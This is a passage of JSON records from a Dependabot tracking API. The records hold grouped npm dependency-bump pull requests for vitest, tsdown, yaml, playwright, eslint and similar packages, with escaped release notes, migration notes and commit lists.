href=\"https://redirect.github.com/eemeli/yaml/issues/714\"\u003e#714\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/1440ecd3d1bff41e4ac399f8f6839e810328bd16\"\u003e\u003ccode\u003e1440ecd\u003c/code\u003e\u003c/a\u003e 2.9.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/c699bc575b46e1dd3c05f1ffcf3f20f14085f8d8\"\u003e\u003ccode\u003ec699bc5\u003c/code\u003e\u003c/a\u003e fix: Simplify line unfolding during quoted string parsing (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/714\"\u003e#714\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/d11ce77c1adf022e9637f4d27b90fe9c96fe9743\"\u003e\u003ccode\u003ed11ce77\u003c/code\u003e\u003c/a\u003e fix: Limit recursive merge aliases (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/713\"\u003e#713\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/c5f49f4c616ea49239f010d5c9d8023e9667438a\"\u003e\u003ccode\u003ec5f49f4\u003c/code\u003e\u003c/a\u003e chore: Update docs-slate\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/eemeli/yaml/compare/v2.9.0...v2.9.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 22.20.1 to 22.20.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 4.1.10 to 4.1.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.12\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e: Harden manual and redirect mocks [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11580\"\u003evitest-dev/vitest#11580\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b82531324\"\u003e\u003c!-- raw HTML omitted --\u003e(b8253)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.11...v4.1.12\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.11\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevive global concurrency limit for test lifecycle [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10992\"\u003evitest-dev/vitest#10992\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5146df80b\"\u003e\u003c!-- raw HTML omitted --\u003e(5146d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEncode iframeId in tester iframe URL [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003ePduhard\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10955\"\u003evitest-dev/vitest#10955\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/10b2cd201\"\u003e\u003c!-- raw HTML omitted --\u003e(10b2c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrigger playwright/chromium gc on lower disk availability [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10951\"\u003evitest-dev/vitest#10951\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9851dbc41\"\u003e\u003c!-- raw HTML omitted --\u003e(9851d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eRestrict redirect mocks to the fs allowlist [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10974\"\u003evitest-dev/vitest#10974\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe5a11d3c\"\u003e\u003c!-- raw HTML omitted --\u003e(fe5a1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.10...v4.1.11\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/4766ce1e72ded629d3a37637f57eeae643789a8c\"\u003e\u003ccode\u003e4766ce1\u003c/code\u003e\u003c/a\u003e chore: release v4.1.12 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11610\"\u003e#11610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9bd8d464e6328c567c2dbcd8fdd977d57a9425c2\"\u003e\u003ccode\u003e9bd8d46\u003c/code\u003e\u003c/a\u003e chore: release v4.1.11 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10995\"\u003e#10995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.12/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsdown` from 0.22.14 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rolldown/tsdown/releases\"\u003etsdown's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePreserve false tsconfig option  -  by \u003ca href=\"https://github.com/Masutayunikon\"\u003e\u003ccode\u003e@​Masutayunikon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1065\"\u003erolldown/tsdown#1065\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/407f84b\"\u003e\u003c!-- raw HTML omitted --\u003e(407f8)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eentry\u003c/strong\u003e: Honor custom root for object entry  -  by \u003ca href=\"https://github.com/giaBaoJS\"\u003e\u003ccode\u003e@​giaBaoJS\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1072\"\u003erolldown/tsdown#1072\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/1745223\"\u003e\u003c!-- raw HTML omitted --\u003e(17452)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epkg\u003c/strong\u003e: Pack tarball inside \u003ccode\u003enpm publish --dry-run\u003c/code\u003e  -  by \u003ca href=\"https://github.com/giaBaoJS\"\u003e\u003ccode\u003e@​giaBaoJS\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1076\"\u003erolldown/tsdown#1076\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/83f0c57\"\u003e\u003c!-- raw HTML omitted --\u003e(83f0c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/rolldown/tsdown/compare/v0.23.0...v0.23.1\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch3\u003e   🧭 Migration Guide\u003c/h3\u003e\n\u003cp\u003eMost users can upgrade directly. Before upgrading, run one final build with \u003ccode\u003etsdown@0.22.14\u003c/code\u003e and resolve all deprecation warnings.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003econfig\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebundle: false\u003c/code\u003e → \u003ccode\u003eunbundle: true\u003c/code\u003e; \u003ccode\u003ebundle: true\u003c/code\u003e can be removed\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eoutExtension\u003c/code\u003e → \u003ccode\u003eoutExtensions\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublicDir\u003c/code\u003e / \u003ccode\u003e--public-dir\u003c/code\u003e → \u003ccode\u003ecopy\u003c/code\u003e / \u003ccode\u003e--copy\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eremoveNodeProtocol: true\u003c/code\u003e → \u003ccode\u003enodeProtocol: 'strip'\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003einjectStyle\u003c/code\u003e → \u003ccode\u003ecss.inject\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003einlineOnly\u003c/code\u003e / \u003ccode\u003edeps.onlyAllowBundle\u003c/code\u003e → \u003ccode\u003edeps.onlyBundle\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eskipNodeModulesBundle: true\u003c/code\u003e → \u003ccode\u003edeps.neverBundle: true\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eresolveDepSubpath\u003c/code\u003e now defaults to \u003ccode\u003efalse\u003c/code\u003e; set it to \u003ccode\u003etrue\u003c/code\u003e to preserve the previous behavior\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edts\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003erolldown-plugin-dts\u003c/code\u003e was upgraded from \u003ccode\u003e0.27.13\u003c/code\u003e to \u003ccode\u003e0.28.5\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.oxc: true\u003c/code\u003e → \u003ccode\u003edts.generator: 'oxc'\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.tsgo: true\u003c/code\u003e → \u003ccode\u003edts.generator: 'tsgo'\u003c/code\u003e; \u003ccode\u003eoxc\u003c/code\u003e and \u003ccode\u003etsgo\u003c/code\u003e objects now only configure their respective generators\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.volarPlugins\u003c/code\u003e → \u003ccode\u003edts.customLanguages\u003c/code\u003e; rename each language's \u003ccode\u003ecreate\u003c/code\u003e hook to \u003ccode\u003ecreateVolarPlugins\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCustom languages, including \u003ccode\u003evue\u003c/code\u003e, now throw when combined with an incompatible generator\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.cjsReexport\u003c/code\u003e was removed; dual-format builds now generate CJS declarations in a separate pass\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eattw\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eThe default profile changed from \u003ccode\u003estrict\u003c/code\u003e to \u003ccode\u003eesm-only\u003c/code\u003e; set \u003ccode\u003eprofile: 'strict'\u003c/code\u003e to preserve the previous checks\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eprogrammatic API\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebuild()\u003c/code\u003e now returns \u003ccode\u003e{ bundles, watch }\u003c/code\u003e; replace \u003ccode\u003econst bundles = await build()\u003c/code\u003e with \u003ccode\u003econst { bundles } = await build()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erequirements\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eNode.js 25 is no longer supported; use \u003ccode\u003e^22.18.0\u003c/code\u003e, \u003ccode\u003e^24.11.0\u003c/code\u003e, or \u003ccode\u003e\u0026gt;=26.0.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erolldown-plugin-dts\u003c/code\u003e now requires Rolldown 1.2.x\u003c/li\u003e\n\u003cli\u003eLegacy \u003ccode\u003etypes\u003c/code\u003e and \u003ccode\u003etypesVersions\u003c/code\u003e fallbacks were removed; use TypeScript's \u003ccode\u003ebundler\u003c/code\u003e, \u003ccode\u003enode16\u003c/code\u003e, or \u003ccode\u003enodenext\u003c/code\u003e module resolution\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🚨 Breaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop support for Node.js 25  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/26950f1\"\u003e\u003c!-- raw HTML omitted --\u003e(26950)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove deprecated tsup compatibility options  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/507661c\"\u003e\u003c!-- raw HTML omitted --\u003e(50766)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop \u003ccode\u003etypes\u003c/code\u003e and \u003ccode\u003etypesVersions\u003c/code\u003efields  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/be3ea86\"\u003e\u003c!-- raw HTML omitted --\u003e(be3ea)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eattw\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eChange default profile to \u003ccode\u003eesm-only\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/9b3cfca\"\u003e\u003c!-- raw HTML omitted --\u003e(9b3cf)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eRemove deprecated \u003ccode\u003edeps.onlyAllowBundle\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/30c553d\"\u003e\u003c!-- raw HTML omitted --\u003e(30c55)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDisable \u003ccode\u003eresolveDepSubpath\u003c/code\u003e by default  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/d300fcc\"\u003e\u003c!-- raw HTML omitted --\u003e(d300f)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/64932577f081eaa048ccdebf664dea1315bdc2c9\"\u003e\u003ccode\u003e6493257\u003c/code\u003e\u003c/a\u003e chore: release v0.23.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/ba6acb94dfd974b99e119a39e46fc4aec8f903db\"\u003e\u003ccode\u003eba6acb9\u003c/code\u003e\u003c/a\u003e chore: upgrade deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/6cbfec72cc0fd90f24699734098884b47bce689f\"\u003e\u003ccode\u003e6cbfec7\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency unplugin-vue to v8 (\u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1090\"\u003e#1090\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/eb40c95efdf7f98d0aa7b0178a3b7322986bd419\"\u003e\u003ccode\u003eeb40c95\u003c/code\u003e\u003c/a\u003e chore: declare package side effects\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/f9c95d0a63b53f6af81aef6cbddb7e90c3965999\"\u003e\u003ccode\u003ef9c95d0\u003c/code\u003e\u003c/a\u003e chore: align pnpm workspace settings\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/e64bde401ceac8548eee3b1e5e6857392e366abb\"\u003e\u003ccode\u003ee64bde4\u003c/code\u003e\u003c/a\u003e chore: configure pnpm via devEngines\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/83f0c57178214a19b7f90030a31c4099dd414c51\"\u003e\u003ccode\u003e83f0c57\u003c/code\u003e\u003c/a\u003e fix(pkg): pack tarball inside \u003ccode\u003enpm publish --dry-run\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1076\"\u003e#1076\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/17452230b7dd6cae0ce9d9b6e547b155a3c88ffc\"\u003e\u003ccode\u003e1745223\u003c/code\u003e\u003c/a\u003e fix(entry): honor custom root for object entry (\u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1072\"\u003e#1072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/9655dcb34c45e635a5656737a49480126f30323e\"\u003e\u003ccode\u003e9655dcb\u003c/code\u003e\u003c/a\u003e chore: upgrade deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/30da631b6b8f44626eb56ca5201912f076a30a27\"\u003e\u003ccode\u003e30da631\u003c/code\u003e\u003c/a\u003e docs: correct default value of \u003ccode\u003eminify\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/rolldown/tsdown/compare/v0.22.14...v0.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.11 to 4.1.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.12\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e: Harden manual and redirect mocks [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11580\"\u003evitest-dev/vitest#11580\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b82531324\"\u003e\u003c!-- raw HTML omitted --\u003e(b8253)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.11...v4.1.12\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/4766ce1e72ded629d3a37637f57eeae643789a8c\"\u003e\u003ccode\u003e4766ce1\u003c/code\u003e\u003c/a\u003e chore: release v4.1.12 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11610\"\u003e#11610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5bf2197a185429a99a59efdb4192f9b5be1309fb\"\u003e\u003ccode\u003e5bf2197\u003c/code\u003e\u003c/a\u003e chore: delete wdio folder from v4 branch to avoid falsy release (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11581\"\u003e#11581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.12/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/PerryLink/dsh-output-styles/pull/19","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/PerryLink%2Fdsh-output-styles/issues/19","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/19/packages"}},{"old_version":"5.0.1","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-24T05:07:51.000Z","version_change":"5.0.1 → 5.0.5","issue":{"uuid":"6009580594","node_id":"PR_kwDOUbXMss8AAAABKZZOPw","number":25,"state":"open","title":"chore(deps)(deps-dev): bump the js-minor-and-patch group with 10 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T05:07:51.000Z","updated_at":"2026-10-24T05:08:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps-dev): bump","group_name":"js-minor-and-patch","update_count":10,"packages":[{"name":"@playwright/test","old_version":"1.63.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@types/node","old_version":"26.6.1","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"eslint","old_version":"10.10.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"globals","old_version":"17.12.0","new_version":"17.13.0","repository_url":"https://github.com/sindresorhus/globals"},{"name":"lint-staged","old_version":"17.5.1","new_version":"17.6.0","repository_url":"https://github.com/lint-staged/lint-staged"},{"name":"prettier","old_version":"3.9.6","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"typescript-eslint","old_version":"8.70.0","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vite","old_version":"8.3.0","new_version":"8.3.4","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"5.0.1","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"wrangler","old_version":"4.151.1","new_version":"4.151.3","repository_url":"https://github.com/cloudflare/workers-sdk"}],"path":null,"ecosystem":"npm"},"body":"Bumps the js-minor-and-patch group with 10 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.63.0` | `1.64.1` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.6.1` | `26.6.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.10.0` | `10.13.0` |\n| [globals](https://github.com/sindresorhus/globals) | `17.12.0` | `17.13.0` |\n| [lint-staged](https://github.com/lint-staged/lint-staged) | `17.5.1` | `17.6.0` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.6` | `3.9.10` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.70.0` | `8.72.0` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.3.0` | `8.3.4` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.1` | `5.0.5` |\n| [wrangler](https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler) | `4.151.1` | `4.151.3` |\n\nUpdates `@playwright/test` from 1.63.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted 